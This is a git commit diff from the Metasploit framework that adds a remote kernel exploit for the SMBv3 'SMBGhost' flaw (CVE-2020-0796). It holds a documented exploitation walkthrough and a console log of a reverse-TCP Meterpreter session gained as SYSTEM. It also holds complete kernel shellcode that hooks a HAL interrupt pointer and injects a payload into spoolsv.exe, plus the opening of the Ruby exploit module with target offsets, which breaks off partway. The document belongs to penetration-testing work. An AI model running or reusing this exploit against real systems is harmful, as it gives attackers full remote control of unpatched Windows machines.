Land #15024, Add RCE Exploit For CVE-2020-0796 (SMBGhost)
Merge branch 'land-15024' into upstream-master
This commit is contained in:
commit
72375d1f67
|
@ -479,6 +479,7 @@ DEPENDENCIES
|
|||
rubocop
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
swagger-blocks
|
||||
timecop
|
||||
yard
|
||||
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
## Vulnerable Application
|
||||
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
|
||||
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
|
||||
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe.
|
||||
|
||||
This vulnerability was patched in March 2020 but prior to that enough information was publicly available to trigger a
|
||||
crash which led to pre-patch workarounds. The official recommendation from [Microsoft][1] at the time was to disable
|
||||
SMBv3 compression, a feature which this exploit relies on. The module's check method will determine this value using the
|
||||
registry to identify whether or not compression has been disabled.
|
||||
|
||||
Other recommendations included restricting access to TCP port 445 via firewalls.
|
||||
|
||||
### Warning
|
||||
There is a high probability that even when the exploit is successful the remote target will crash within about 90
|
||||
minutes. It is recommended that after a successful compromise, a persistence mechanism be established and the system be
|
||||
rebooted to avoid a Blue Screen of Death (BSOD).
|
||||
|
||||
### Installation And Setup
|
||||
Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the box. The default setting is to have
|
||||
SMBv3 compression enabled.
|
||||
|
||||
### Exploit Internals
|
||||
|
||||
The exploit is based on [this PoC][2] and [this research][3]. At a high level the steps are:
|
||||
|
||||
1. Leverage the vulnerability to create a read primitive for physical memory
|
||||
1. Use the vulnerability to write an `MDL` describing the physical memory to read into `KUSER_SHARED_DATA`
|
||||
* `KUSER_SHARED_DATA` is used because it exists at a known address and has read/write permissions
|
||||
1. Use the vulnerability to corrupt a `SRVNET_BUFFER_HDR` to reference the previously written MDL
|
||||
1. Attempt to negotiate with the remote server, causing the desired memory to be returned as the response
|
||||
1. Use the read primitive to scan for the low stub, fingerprinting it based on a known value
|
||||
1. Extract the address of the page map level 4 (PML4) from the low stub once found
|
||||
1. Store the address of the low stub because it exists within the HAL heap
|
||||
1. Scan the PML4 for its self-reference entry to leak its address in virtual memory, this is also used to translate
|
||||
virtual addresses into physical addresses in the future
|
||||
1. Scan the HAL heap looking for the `hal!HalpInterruptController`, fingerprinting it based on a known pattern
|
||||
1. Extract the address of the `hal!HalpApicRequestInterrupt` from the `hal!HalpInterruptController`
|
||||
1. Use the write primitive to overwrite the PTE for `KUSER_SHARED_DATA`, granting it the necessary privileges to be
|
||||
executable
|
||||
1. Copy the shellcode (which is a combination of a kernel mode bootstrap and the usermode payload from Metasploit) to
|
||||
`KUSER_SHARED_DATA`
|
||||
1. Use the write primitive to overwrite the pointer of `hal!HalpApicRequestInterrupt` in `hal!HalpInterruptController`,
|
||||
replacing it with a pointer to the shellcode
|
||||
1. The shellcode queues an APC to inject the usermode payload into a spoolsv.exe instance with NT AUTHORITY\SYSTEM
|
||||
privileges
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/smb/cve_2020_0796_smbghost`
|
||||
1. Set the `RHOSTS` and `PAYLOAD` options
|
||||
1. Do: `run`
|
||||
1. You should get a shell, the exploitation process may take a few minutes
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 Version 1909 Build 18363.418 x64
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
|
||||
RHOSTS => 192.168.159.76
|
||||
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
|
||||
[!] 192.168.159.76:445 - The service is running, but could not be validated.
|
||||
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
|
||||
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
|
||||
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
|
||||
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
|
||||
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
|
||||
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
|
||||
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
|
||||
[*] Sending stage (200262 bytes) to 192.168.159.76
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-RTCRBEV
|
||||
OS : Windows 10 (10.0 Build 18363).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 0
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
|
||||
[2]: https://github.com/chompie1337/SMBGhost_RCE_PoC
|
||||
[3]: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
|
|
@ -106,7 +106,7 @@
|
|||
</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
|
@ -129,7 +129,7 @@
|
|||
</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
|
@ -154,7 +154,7 @@
|
|||
</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
|
@ -188,10 +188,10 @@ IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
|
|||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
|
||||
</PreLinkEvent>
|
||||
<PostBuildEvent>
|
||||
<Command>IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
|
||||
mkdir "..\..\..\..\data\exploits\CVE-2020-0796\"
|
||||
<Command>IF EXIST "..\..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\CVE-2020-0796\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
|
@ -203,7 +203,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796
|
|||
</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
|
@ -234,10 +234,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796
|
|||
</Command>
|
||||
</PreLinkEvent>
|
||||
<PostBuildEvent>
|
||||
<Command>IF EXIST "..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
|
||||
mkdir "..\..\..\..\data\exploits\CVE-2020-0796\"
|
||||
<Command>IF EXIST "..\..\..\..\..\data\exploits\CVE-2020-0796\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\CVE-2020-0796\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2020-0796\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
|
@ -0,0 +1,350 @@
|
|||
; kernel_shellcode.asm
|
||||
; Function and offset resolution shellcode by sleepya (EternalBlue exploit)
|
||||
;
|
||||
; The payload is "installed" by being transferred into RWX memory and then overwriting the hal!HalpApicRequestInterrupt
|
||||
; pointer in the hal!HalpApicRequestInterrupt dispatch table, effectively hooking it. Once executed, the shellcode will
|
||||
; restore the original function pointer.
|
||||
;
|
||||
; This was updated to be compatible with metasm. The following 3 values need to be specified via #fixup:
|
||||
; * PHALP_APIC_REQUEST_INTERRUPT - the original address of hal!HalpApicRequestInterrupt
|
||||
; * PPHALP_APIC_REQUEST_INTERRUPT - the address of the pointer to hal!HalpApicRequestInterrupt in
|
||||
; hal!HalpInterruptController
|
||||
; * USER_SHELLCODE_SIZE - the length in bytes of the usermode shellcode
|
||||
;
|
||||
; The layout in memory will be as follows (only the first two sections need to be passed with the exploit):
|
||||
; [ kernel mode shellcode ] [ user mode shellcode ] [ kernel mode shellcode data ]
|
||||
|
||||
; offsets to members within the shellcode's data section
|
||||
#define OFFSET_NTBASE 0x0
|
||||
#define OFFSET_PEB_ADDR 0x8
|
||||
#define OFFSET_KAPC 0x10
|
||||
#define OFFSET_KAPC2 0x68
|
||||
#define OFFSET_SC_BASE_ADDR 0xD0
|
||||
|
||||
; some hardcoded EPROCESS and ETHREAD field offsets. I think they're consistent on Win10?
|
||||
#define OFFSET_EPROCTHREADLIST 0x30
|
||||
#define OFFSET_ETHREADTHREADLIST 0x2F8
|
||||
#define OFFSET_ETHREADMISCFLAGS 0x74
|
||||
#define OFFSET_MISCFLALTERTABLE 0x4
|
||||
|
||||
; peb offsets
|
||||
#define OFFSET_PEB_LDR 0x18
|
||||
#define OFFSET_PEB_INMEMORDER 0x20
|
||||
|
||||
; hashes to resolve function pointers
|
||||
#define HASH_PSGETCURRPROC 0xDBF47C78
|
||||
#define HASH_PSGETPROCIMAGENAME 0x77645F3F
|
||||
#define HASH_PSGETPROCID 0x170114E1
|
||||
#define HASH_PSGETPROCPEB 0xB818B848
|
||||
#define HASH_KEINITIALIZEAPC 0x6D195CC4
|
||||
#define HASH_KEINSERTQUEUEAPC 0xAFCC4634
|
||||
#define HASH_ZWALLOCVIRTMEM 0x576E99EA
|
||||
#define HASH_CREATETHREAD 0x835E515E
|
||||
#define HASH_SPOOLSV 0x3EE083D8
|
||||
|
||||
; size of usermode APC shellcode
|
||||
|
||||
_main:
|
||||
|
||||
_prologue:
|
||||
push r8
|
||||
push r9
|
||||
push r13
|
||||
push r15
|
||||
push r14
|
||||
push rcx
|
||||
push rdx
|
||||
push rbx
|
||||
push rsi
|
||||
push rdi
|
||||
lea r14, [rip-$_+_data_addr]
|
||||
add r14, USER_SHELLCODE_SIZE
|
||||
|
||||
_patch_back_hal_table:
|
||||
mov rax, PPHALP_APIC_REQUEST_INTERRUPT
|
||||
mov rbx, PHALP_APIC_REQUEST_INTERRUPT
|
||||
mov [rax], rbx
|
||||
sti
|
||||
|
||||
xor rcx, rcx
|
||||
db 0x44, 0x0f, 0x22, 0xc1 ; 'mov cr8, rcx' (metasm incorrectly encodes this instruction)
|
||||
mov ecx, 0xc0000082
|
||||
rdmsr
|
||||
and eax, 0xFFFFF000
|
||||
shl rdx, 0x20
|
||||
add rax, rdx
|
||||
|
||||
_find_nt_base:
|
||||
sub rax, 0x1000
|
||||
cmp word [rax], 0x5a4d
|
||||
jne _find_nt_base
|
||||
|
||||
mov r15, rax
|
||||
mov [r14 + OFFSET_NTBASE], r15
|
||||
|
||||
_get_current_eprocess:
|
||||
mov edi, HASH_PSGETCURRPROC
|
||||
call _call_nt_func
|
||||
mov r13, rax
|
||||
|
||||
_get_image_name_eprocess:
|
||||
mov edi, HASH_PSGETPROCIMAGENAME
|
||||
call _get_offset_from_function
|
||||
mov rcx, rax
|
||||
|
||||
_get_proc_links_eprocess:
|
||||
mov edi, HASH_PSGETPROCID
|
||||
call _get_offset_from_function
|
||||
mov rdx, rax
|
||||
add rdx, 0x8
|
||||
|
||||
_find_target_process_loop:
|
||||
lea rsi, [r13+rcx]
|
||||
call calc_hash
|
||||
cmp eax, HASH_SPOOLSV
|
||||
je _found_target_process
|
||||
mov r13, [r13+rdx]
|
||||
sub r13, rdx
|
||||
jmp _find_target_process_loop
|
||||
|
||||
_found_target_process:
|
||||
mov edi, HASH_PSGETPROCPEB
|
||||
mov rcx, r13
|
||||
call _call_nt_func
|
||||
mov [r14 + OFFSET_PEB_ADDR], rax
|
||||
|
||||
mov r8, [r13 + OFFSET_EPROCTHREADLIST]
|
||||
mov r9, [r13 + OFFSET_EPROCTHREADLIST + 0x8]
|
||||
sub r8, OFFSET_ETHREADTHREADLIST
|
||||
xor rsi, rsi
|
||||
|
||||
_find_good_thread:
|
||||
sub r9, OFFSET_ETHREADTHREADLIST
|
||||
mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS]
|
||||
bt edi, OFFSET_MISCFLALTERTABLE
|
||||
jnc _find_good_thread_loop
|
||||
mov rsi, r9
|
||||
jmp _init_apc
|
||||
|
||||
_find_good_thread_loop:
|
||||
cmp r8, r9
|
||||
mov r9, [r9 + OFFSET_ETHREADTHREADLIST + 8]
|
||||
jne _find_good_thread
|
||||
|
||||
_init_apc:
|
||||
test rsi, rsi
|
||||
jz _restore_regs_and_jmp_back
|
||||
lea rcx, [r14 + OFFSET_KAPC]
|
||||
mov rdx, rsi
|
||||
xor r8, r8
|
||||
lea r9, [rip-$_+_kernel_apc_routine]
|
||||
push rdx
|
||||
push r8
|
||||
push r8
|
||||
push r8
|
||||
mov edi, HASH_KEINITIALIZEAPC
|
||||
sub rsp, 0x20
|
||||
call _call_nt_func
|
||||
add rsp, 0x40
|
||||
|
||||
_insert_apc:
|
||||
lea rcx, [r14 + OFFSET_KAPC]
|
||||
mov edi, HASH_KEINSERTQUEUEAPC
|
||||
sub rsp, 0x20
|
||||
mov rax, 0x5
|
||||
db 0x44, 0x0f, 0x22, 0xc0 ; 'mov cr8, rax' (metasm incorrectly encodes this instruction)
|
||||
call _call_nt_func
|
||||
add rsp, 0x20
|
||||
|
||||
_restore_regs_and_jmp_back:
|
||||
cli
|
||||
mov rax, rbx
|
||||
pop rdi
|
||||
pop rsi
|
||||
pop rbx
|
||||
pop rdx
|
||||
pop rcx
|
||||
pop r14
|
||||
pop r15
|
||||
pop r13
|
||||
pop r9
|
||||
pop r8
|
||||
jmp rax
|
||||
|
||||
_call_nt_func:
|
||||
call _get_proc_addr
|
||||
jmp rax
|
||||
|
||||
_get_proc_addr:
|
||||
; Save registers
|
||||
push rbx
|
||||
push rcx
|
||||
push rsi ; for using calc_hash
|
||||
|
||||
; use rax to find EAT
|
||||
mov eax, dword [r15+60] ; Get PE header e_lfanew
|
||||
add rax, r15
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
|
||||
add rax, r15
|
||||
push rax ; save EAT
|
||||
|
||||
mov ecx, dword [rax+24] ; NumberOfFunctions
|
||||
mov ebx, dword [rax+32] ; FunctionNames
|
||||
add rbx, r15
|
||||
|
||||
_get_proc_addr_get_next_func:
|
||||
; When we reach the start of the EAT (we search backwards), we hang or crash
|
||||
dec ecx ; decrement NumberOfFunctions
|
||||
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
|
||||
add rsi, r15 ; Add the modules base address
|
||||
|
||||
call calc_hash
|
||||
|
||||
cmp eax, edi ; Compare the hashes
|
||||
jnz _get_proc_addr_get_next_func ; try the next function
|
||||
|
||||
_get_proc_addr_finish:
|
||||
pop rax ; restore EAT
|
||||
mov ebx, dword [rax+36]
|
||||
add rbx, r15 ; ordinate table virtual address
|
||||
mov cx, word [rbx+rcx*2] ; desired functions ordinal
|
||||
mov ebx, dword [rax+28] ; Get the function addresses table rva
|
||||
add rbx, r15 ; Add the modules base address
|
||||
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
|
||||
add rax, r15 ; Add the modules base address to get the functions actual VA
|
||||
|
||||
pop rsi
|
||||
pop rcx
|
||||
pop rbx
|
||||
ret
|
||||
|
||||
calc_hash:
|
||||
push rdx
|
||||
xor eax, eax
|
||||
cdq
|
||||
_calc_hash_loop:
|
||||
lodsb ; Read in the next byte of the ASCII string
|
||||
ror edx, 13 ; Rotate right our hash value
|
||||
add edx, eax ; Add the next byte of the string
|
||||
test eax, eax ; Stop when found NULL
|
||||
jne _calc_hash_loop
|
||||
xchg edx, eax
|
||||
pop rdx
|
||||
ret
|
||||
|
||||
_get_offset_from_function:
|
||||
call _get_proc_addr
|
||||
cmp byte [rax+2], 0x80
|
||||
ja _get_offset_dword
|
||||
movzx eax, byte [rax+3]
|
||||
ret
|
||||
_get_offset_dword:
|
||||
mov eax, dword [rax+3]
|
||||
ret
|
||||
|
||||
_kernel_apc_routine:
|
||||
push r15
|
||||
push r14
|
||||
push rdi
|
||||
push rsi
|
||||
|
||||
_find_createthread_addr:
|
||||
lea rax, [rip-$_+_data_addr]
|
||||
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_PEB_ADDR]
|
||||
mov rcx, [rax + OFFSET_PEB_LDR]
|
||||
mov rcx, [rcx + OFFSET_PEB_INMEMORDER]
|
||||
|
||||
_find_kernel32_dll_loop:
|
||||
mov rcx, [rcx]
|
||||
cmp word [rcx+0x48], 0x18
|
||||
jne _find_kernel32_dll_loop
|
||||
|
||||
mov rax, [rcx+0x50]
|
||||
cmp dword [rax+0xc], 0x00320033
|
||||
jnz _find_kernel32_dll_loop
|
||||
|
||||
mov r15, [rcx + 0x20]
|
||||
mov edi, HASH_CREATETHREAD
|
||||
call _get_proc_addr
|
||||
mov r14, rax
|
||||
|
||||
_alloc_mem:
|
||||
lea r15, [rip-$_+_data_addr]
|
||||
mov r15, [r15 + USER_SHELLCODE_SIZE + OFFSET_NTBASE]
|
||||
xor eax, eax
|
||||
lea rdx, [rip-$_+_data_addr]
|
||||
add rdx, USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR
|
||||
mov ecx, eax
|
||||
not rcx
|
||||
mov r8, rax
|
||||
mov al, 0x40
|
||||
push rax
|
||||
shl eax, 6
|
||||
push rax
|
||||
mov [r9], rax
|
||||
sub rsp, 0x20
|
||||
mov edi, HASH_ZWALLOCVIRTMEM
|
||||
call _call_nt_func
|
||||
add rsp, 0x30
|
||||
|
||||
_copy_user_bootstrap_and_shellcode:
|
||||
lea rdi, [rip-$_+_data_addr]
|
||||
mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
|
||||
lea rsi, [rip-$_+_user_shellcode_bootstrap]
|
||||
mov ecx, 0x1d + USER_SHELLCODE_SIZE
|
||||
rep movsb
|
||||
|
||||
_init_and_insert_apc:
|
||||
lea rcx, [rip-$_+_data_addr]
|
||||
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
|
||||
mov rdx, qword [gs:0x188]
|
||||
xor r8, r8
|
||||
lea r9, [rip-$_+_kernel_apc_routine2]
|
||||
push r8
|
||||
push 0x1
|
||||
lea rax, [rip-$_+_data_addr]
|
||||
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
|
||||
push rax
|
||||
push r8
|
||||
sub rsp, 0x20
|
||||
mov edi, HASH_KEINITIALIZEAPC
|
||||
call _call_nt_func
|
||||
add rsp, 0x40
|
||||
|
||||
lea rcx, [rip-$_+_data_addr]
|
||||
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
|
||||
mov rdx, r14
|
||||
xor r9, r9
|
||||
mov edi, HASH_KEINSERTQUEUEAPC
|
||||
sub rsp, 0x20
|
||||
call _call_nt_func
|
||||
add rsp, 0x20
|
||||
|
||||
_kernel_apc_done:
|
||||
pop rsi
|
||||
pop rdi
|
||||
pop r14
|
||||
pop r15
|
||||
ret
|
||||
|
||||
_kernel_apc_routine2:
|
||||
nop
|
||||
ret
|
||||
|
||||
_user_shellcode_bootstrap:
|
||||
xchg rdx, rax
|
||||
xor ecx, ecx
|
||||
push rcx
|
||||
push rcx
|
||||
mov r9, rcx
|
||||
lea r8, [rip-$_+_user_shellcode] ; user payload has been appended to bottom of this shellcode
|
||||
mov edx, ecx
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x30
|
||||
ret
|
||||
|
||||
_data_addr:
|
||||
|
||||
_user_shellcode:
|
|
@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
dialect = simple.client.dialect
|
||||
if simple.client.is_a? RubySMB::Client
|
||||
if dialect == '0x0311'
|
||||
info[:capabilities][:compression] = simple.client.server_encryption_algorithms.map do |algorithm|
|
||||
info[:capabilities][:compression] = simple.client.server_compression_algorithms.map do |algorithm|
|
||||
RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP[algorithm]
|
||||
end
|
||||
info[:capabilities][:encryption] = simple.client.server_encryption_algorithms.map do |algorithm|
|
||||
|
|
|
@ -53,11 +53,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'DisclosureDate' => '2020-03-13',
|
||||
'DefaultTarget' => 0,
|
||||
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
'RelatedModules' => [ 'exploit/windows/smb/cve_2020_0796_smbghost' ]
|
||||
}
|
||||
}
|
||||
)
|
||||
|
|
|
@ -0,0 +1,449 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
LZNT1 = RubySMB::Compression::LZNT1
|
||||
|
||||
# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
|
||||
KSD_VA_MAP = 0x800
|
||||
KSD_VA_PMDL = 0x900
|
||||
KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup
|
||||
|
||||
MAX_READ_RETRIES = 5
|
||||
WRITE_UNIT = 0xd0
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SMBv3 Compression Buffer Overflow',
|
||||
'Description' => %q{
|
||||
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
|
||||
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
|
||||
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
|
||||
can take a few minutes as the necessary data is gathered.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hugeh0ge', # Ricerca Security research, detailed technique description
|
||||
'chompie1337', # PoC on which this module is based
|
||||
'Spencer McIntyre', # msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2020-0796' ],
|
||||
[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
|
||||
[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
|
||||
# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
|
||||
[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
|
||||
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
|
||||
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
|
||||
[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 600,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 10 v1903-1909 x64',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X64],
|
||||
'OverflowSize' => 0x1100,
|
||||
'LowStubFingerprint' => 0x1000600e9,
|
||||
'KuserSharedData' => 0xfffff78000000000,
|
||||
# Offset(From,To) => Bytes
|
||||
'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
|
||||
'Offset(LowStub,SelfVA)' => 0x78,
|
||||
'Offset(LowStub,PML4)' => 0xa0,
|
||||
'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
|
||||
'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2020-03-13',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([Opt::RPORT(445),])
|
||||
register_advanced_options([
|
||||
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
client = RubySMB::Client.new(
|
||||
RubySMB::Dispatcher::Socket.new(connect(false)),
|
||||
username: '',
|
||||
password: '',
|
||||
smb1: false,
|
||||
smb2: false,
|
||||
smb3: true
|
||||
)
|
||||
protocol = client.negotiate
|
||||
client.disconnect!
|
||||
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
|
||||
return CheckCode::Unknown
|
||||
rescue Errno::ECONNRESET
|
||||
return CheckCode::Unknown
|
||||
rescue ::Exception => e # rubocop:disable Lint/RescueException
|
||||
vprint_error("#{rhost}: #{e.class} #{e}")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
return CheckCode::Safe unless protocol == 'SMB3'
|
||||
return CheckCode::Safe unless client.dialect == '0x0311'
|
||||
|
||||
lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
|
||||
return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def smb_negotiate
|
||||
